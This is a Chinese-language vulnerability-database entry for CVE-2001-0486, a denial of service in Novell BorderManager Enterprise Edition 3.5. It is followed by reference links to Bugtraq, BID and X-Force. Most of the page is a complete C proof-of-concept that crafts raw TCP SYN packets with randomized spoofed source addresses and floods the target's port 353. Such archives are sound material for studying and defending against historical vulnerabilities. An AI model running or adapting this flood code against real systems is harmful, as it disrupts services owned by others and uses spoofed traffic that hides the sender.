Novell BorderManager漏洞

Novell BorderManager漏洞

漏洞ID 1106341 漏洞类型 未知
发布时间 2001-05-07 更新时间 2005-05-02
图片[1]-Novell BorderManager漏洞-安全小百科CVE编号 CVE-2001-0486
图片[2]-Novell BorderManager漏洞-安全小百科CNNVD-ID CNNVD-200107-013
漏洞平台 Novell CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/264
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200107-013
|漏洞详情
NovellBorderManager3.6及其早期版本存在漏洞。远程攻击者通过发送TCPSYNflood到353端口导致服务拒绝。
|漏洞EXP
/* 29.4.2001 [email protected]
   Proof of concept DoS Novell BorderManager Enterprise Edition 3.5
   helisec
   DoSs are lame, i know, but boredom is ugly. DON'T ABUSE.
   greets: jimjones, doing, darkcode for his paper about raw sockets 
   and all helisec guys.
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <time.h>  
#include <sys/types.h>
#include <sys/stat.h> 
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>

#define __FAVOR_BSD
#include <netinet/tcp.h>

#define PORT 353 

 /* to be easier the processing, this struct :) */
 
 struct pseudohdr {
         struct in_addr saddr;
         struct in_addr daddr;
         u_char zero;
         u_char protocol;
         u_short len;
         struct tcphdr tcpheader;
     }pseudoh;
                                    

unsigned long resolve(name)  
	char *name;
 {

struct in_addr h2;
struct hostent *hname;

if (!(hname = gethostbyname(name))) return(0);
memcpy((char *)&h2.s_addr, hname->h_addr, hname->h_length);
return(h2.s_addr);
}
               
 /* checksum ripped and modified by me */
 
u_short
checksum (data, length)
	u_short *data;
	u_short length;
{

register long value;
u_short i;
    
      for (i = 0; i < (length >> 1); i++)
       value += data[i];
          
       if ((length & 1) == 1)
       value += (data[i] << 8);
                
       value = (value & 65535) + (value >> 16);
                  
       return (~value);
}
                    

void packet(vic, socket) 
	struct sockaddr_in *vic;
	int socket;
 {
 
 int count;
 char buf[40];
                     
 struct ip *ipheader = (struct ip *)buf;
 struct tcphdr *tcpheader = (struct tcphdr *)(buf + sizeof(struct ip));
 
 bzero (&buf, (sizeof(struct ip) + sizeof(struct tcphdr)) );
 
 	/* filling ip struct */
 	
 	ipheader->ip_v = IPVERSION;
 	ipheader->ip_hl = 5;
 	ipheader->ip_tos = htons(0);
 	ipheader->ip_len = htons(sizeof(buf));
 	ipheader->ip_id = rand() % 0xffff;
 	ipheader->ip_off = htons(0);
 	ipheader->ip_ttl = 0xff;  /* 255 hex */
 	ipheader->ip_p = IPPROTO_TCP;
 	ipheader->ip_src.s_addr = rand();
 	ipheader->ip_dst.s_addr = vic->sin_addr.s_addr;
 	ipheader->ip_sum = 0;
 	
 	/* filling tcphdr struct */
 	
 	tcpheader->th_sport = 2424; /* random */
 	tcpheader->th_dport = vic->sin_port;
 	tcpheader->th_seq = htonl(0xF1C); /* random */
 	tcpheader->th_ack = 0;
 	tcpheader->th_off = 5;
 	tcpheader->th_flags = TH_SYN; /* the important flag */
 	tcpheader->th_win = 4096;
 	tcpheader->th_sum = 0;   
 	

 bzero (&pseudoh, 12 + sizeof(struct tcphdr));
 pseudoh.saddr.s_addr = rand();
 pseudoh.daddr.s_addr = vic->sin_addr.s_addr;
 pseudoh.protocol = 6;
 pseudoh.len = htons (sizeof(struct tcphdr));
 memcpy((char *)&pseudoh.tcpheader, (char *)tcpheader, sizeof (struct tcphdr));
 tcpheader->th_sum = checksum((u_short *)&pseudoh, 12 + sizeof (struct tcphdr));
  
 /* sending packets, DON'T ABUSE! */

for (count = 0; count < 260; count++) {
  if ( (sendto(socket, 
 	   buf, 
 	   (sizeof(struct iphdr) + sizeof(struct tcphdr)), 
 	   0, 
 	   (struct sockaddr *)vic, 
 	   sizeof(struct sockaddr_in))) < 0) {
 	   fprintf(stderr, "Error sending packetsn"); 
           exit(-1);
           }              
      }                              	                                                    
close (socket);
  }
 
void usage(proggy) 
	char *proggy;
 {
	fprintf(stderr,"DoS a Novell BorderManager Enterprise Edition 3.5n");
	fprintf(stderr, "[email protected] from helisecn");
	fprintf(stderr, "Usage: %s hostn", proggy);
	exit(0);
	}

main(argc, argv) 
	int argc;
	char *argv[];
	
 {
  
  struct sockaddr_in h;
  int s0ck, uno = 1;
  
  if (argc < 2)
  	{
  	usage(argv[0]);
  	}
  	
  bzero(&h, sizeof(h)); 
  h.sin_family = AF_INET;   
  h.sin_port = htons(PORT); 

if ( (inet_pton(AF_INET, argv[1], &h.sin_addr)) <= 0)
	{
	h.sin_addr.s_addr = resolve(argv[1]);
	}
	
if (!h.sin_addr.s_addr) {
	fprintf(stderr, "Error resolving hostn");
	exit(-1);
	}
	
if ((s0ck = socket(AF_INET, SOCK_RAW, 255)) < 0) {
        fprintf(stderr, "Error creating raw socket, root is neededn");
        exit (-1);
        }

setsockopt(s0ck, SOL_SOCKET, SO_BROADCAST, &uno, sizeof(uno));

packet(&h, s0ck);
fprintf(stderr, "DoS completed.n");
exit(0);
}


// milw0rm.com [2001-05-07]
|参考资料

来源:BID
名称:2623
链接:http://www.securityfocus.com/bid/2623
来源:support.novell.com
链接:http://support.novell.com/cgi-bin/search/searchtid.cgi?/2959062.htm
来源:BUGTRAQ
名称:20010420NovellBorderManager3.5VPNDenialofService
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=98779821207867&w;=2
来源:BUGTRAQ
名称:20010501Re:ProofofconceptDoSagainstnovellbordermanagerenterpriseedition3.5
链接:http://archives.neohapsis.com/archives/bugtraq/2001-05/0000.html
来源:VULN-DEV
名称:20010402(nosubject)
链接:http://archives.neohapsis.com/archives/vuln-dev/2001-q2/0020.html
来源:XF
名称:bordermanager-vpn-syn-dos(6429)
链接:http://xforce.iss.net/static/6429.php
来源:BUGTRAQ
名称:20010429ProofofconceptDoSagainstnovellbordermanagerenterprise
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=98865027328391&w;=2

相关推荐: PHPGroupWare Debian Package Configuration Vulnerability

PHPGroupWare Debian Package Configuration Vulnerability 漏洞ID 1102365 漏洞类型 Configuration Error 发布时间 2002-04-03 更新时间 2002-04-03 CVE编…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享